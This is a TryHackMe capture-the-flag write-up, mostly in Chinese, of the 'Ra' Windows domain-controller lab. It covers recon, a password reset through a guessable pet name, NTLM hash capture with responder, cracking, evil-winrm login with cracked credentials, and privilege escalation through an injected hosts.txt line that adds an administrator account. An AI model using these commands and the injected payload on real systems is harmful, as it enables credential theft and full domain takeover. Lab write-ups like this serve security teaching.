Ra Write Up on TryHackMe

, , , , ,

Before all

這台…好難qwq
燒了快六小時

Victim’s IP : 10.10.31.87
Victim’s Host : windcorp.thm
Attacker’s IP : 10.9.195.189

Write Up

RECON

port scan

command 

1
rustscan -a 10.10.31.87 --ulimit 5000 -- -sC -sV -PN

result
image

發現開啟了 DNS SERVER, Kerberos, smb, ldap, web service(port 80&9090), jabber/openfire支援的一些東西, winrm和rpc呼叫。

image

也獲得域名 fire.windcorp.thm 以及 windcorp.thm

Exploit

password reset through information gathering

image

進入網站後發現password reset按鈕，點擊後會進到 http://fire.windcorp.thm/reset.asp
image

重新觀察主頁，注意到合照：
image

url為http://10.10.31.87/img/lilyleAndSparky.jpg
猜測寵物名稱為 Sparky
輸入Reset Password表單後獲得密碼ChangeMe#1234
image

Phshing through openfire Spark XSS

這部分我還沒找到 reference qwq，有好心人看到請戳我一下
不過真的有看到一陀XSS XD
從 (download link) 取得 spark
寄給主頁身分是綠色ㄉBuse
payload
image

開啟 responder 

1
sudo responder -I tun0

成功接到NTLM HASH (Windows再開啟HTML TAG上的URL時會用NTLM2進行驗證)
image

利用john進行密碼爆破
image

成功取得buse的帳號密碼

利用 evil-winrm 登入成功 

1
evil-winrm -u buse -p uzunLM+3131 -i 10.10.31.87

image

Privilege Escalation

Abusing Account Operato

觀察 1
利用 whoami 系列指令作權限檢查，其中 group 包含 Account Operator
image

觀察 2
C:\scripts\checkservers.ps1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# reset the lists of hosts prior to looping
$OutageHosts = $Null
# specify the time you want email notifications resent for hosts that are down
$EmailTimeOut = 30
# specify the time you want to cycle through your host lists.
$SleepTimeOut = 45
# specify the maximum hosts that can be down before the script is aborted
$MaxOutageCount = 10
# specify who gets notified
$notificationto = "brittanycr@windcorp.thm"
# specify where the notifications come from
$notificationfrom = "admin@windcorp.thm"
# specify the SMTP server
$smtpserver = "relay.windcorp.thm"

# start looping here
Do{
$available = $Null
$notavailable = $Null
Write-Host (Get-Date)

# Read the File with the Hosts every cycle, this way to can add/remove hosts
# from the list without touching the script/scheduled task,
# also hash/comment (#) out any hosts that are going for maintenance or are down.
get-content C:\Users\brittanycr\hosts.txt | Where-Object {!($_ -match "#")} |
ForEach-Object {
    $p = "Test-Connection -ComputerName $_ -Count 1 -ea silentlycontinue"
    Invoke-Expression $p
if($p)
    {
     # if the Host is available then just write it to the screen
     write-host "Available host ---> "$_ -BackgroundColor Green -ForegroundColor White
     [Array]$available += $_
    }
else
    {
     # If the host is unavailable, give a warning to screen
     write-host "Unavailable host ------------> "$_ -BackgroundColor Magenta -ForegroundColor White
     $p = Test-Connection -ComputerName $_ -Count 1 -ea silentlycontinue
     if(!($p))
       {
        # If the host is still unavailable for 4 full pings, write error and send email
        write-host "Unavailable host ------------> "$_ -BackgroundColor Red -ForegroundColor White
        [Array]$notavailable += $_

        if ($OutageHosts -ne $Null)
            {
                if (!$OutageHosts.ContainsKey($_))
                {
                 # First time down add to the list and send email
                 Write-Host "$_ Is not in the OutageHosts list, first time down"
                 $OutageHosts.Add($_,(get-date))
                 $Now = Get-date
                 $Body = "$_ has not responded for 5 pings at $Now"
                 Send-MailMessage -Body "$body" -to $notificationto -from $notificationfrom `
                  -Subject "Host $_ is down" -SmtpServer $smtpserver
                }
                else
                {
                    # If the host is in the list do nothing for 1 hour and then remove from the list.
                    Write-Host "$_ Is in the OutageHosts list"
                    if (((Get-Date) - $OutageHosts.Item($_)).TotalMinutes -gt $EmailTimeOut)
                    {$OutageHosts.Remove($_)}
                }
            }
        else
            {
                # First time down create the list and send email
                Write-Host "Adding $_ to OutageHosts."
                $OutageHosts = @{$_=(get-date)}
                $Body = "$_ has not responded for 5 pings at $Now"
                Send-MailMessage -Body "$body" -to $notificationto -from $notificationfrom `
                 -Subject "Host $_ is down" -SmtpServer $smtpserver
            }
       }
    }
}
# Report to screen the details
$log = "Last run: $(Get-Date)"
write-host $log
Set-Content -Path C:\scripts\log.txt -Value $log
Write-Host "Available count:"$available.count
Write-Host "Not available count:"$notavailable.count
Write-Host "Not available hosts:"
$OutageHosts
Write-Host ""
Write-Host "Sleeping $SleepTimeOut seconds"
sleep $SleepTimeOut
if ($OutageHosts.Count -gt $MaxOutageCount)
{
    # If there are more than a certain number of host down in an hour abort the script.
    $Exit = $True
    $body = $OutageHosts | Out-String
    Send-MailMessage -Body "$body" -to $notificationto -from $notificationfrom `
     -Subject "More than $MaxOutageCount Hosts down, monitoring aborted" -SmtpServer $smtpServer
}
}
while ($Exit -ne $True)

重點在這一段： 

1
2
3
4
5
get-content C:\Users\brittanycr\hosts.txt | Where-Object {!($_ -match "#")} |
ForEach-Object {
    $p = "Test-Connection -ComputerName $_ -Count 1 -ea silentlycontinue"
    Invoke-Expression $p
if($p)

會將C:\Users\brittanycr\hosts.txt裡面的所有內容切行以後塞進 For-Each 那邊的 $p 變數，並利用 Invoke-Expression 將它作為指令執行
結合它是每45秒跑一次，高機率是一個 cronjob，嘗試利用 Buse 的權限更改 brittanycr 的密碼：
command 

1
net user brittanycr whale120? /domain

以 smbclient 登入成功，利用put指令把本地的惡意hosts.txt丟上去： 

1
;net user whale120 wh@le120 /add;net localgroup Administrators whale120 /add

image

等一下，用 evil-winrm 遠端登入並確認身分

image

成功拿到 Administrators Group

After all

Account Opertors權限利用的其他方式
https://secframe.com/guides/acct_ops_attacked/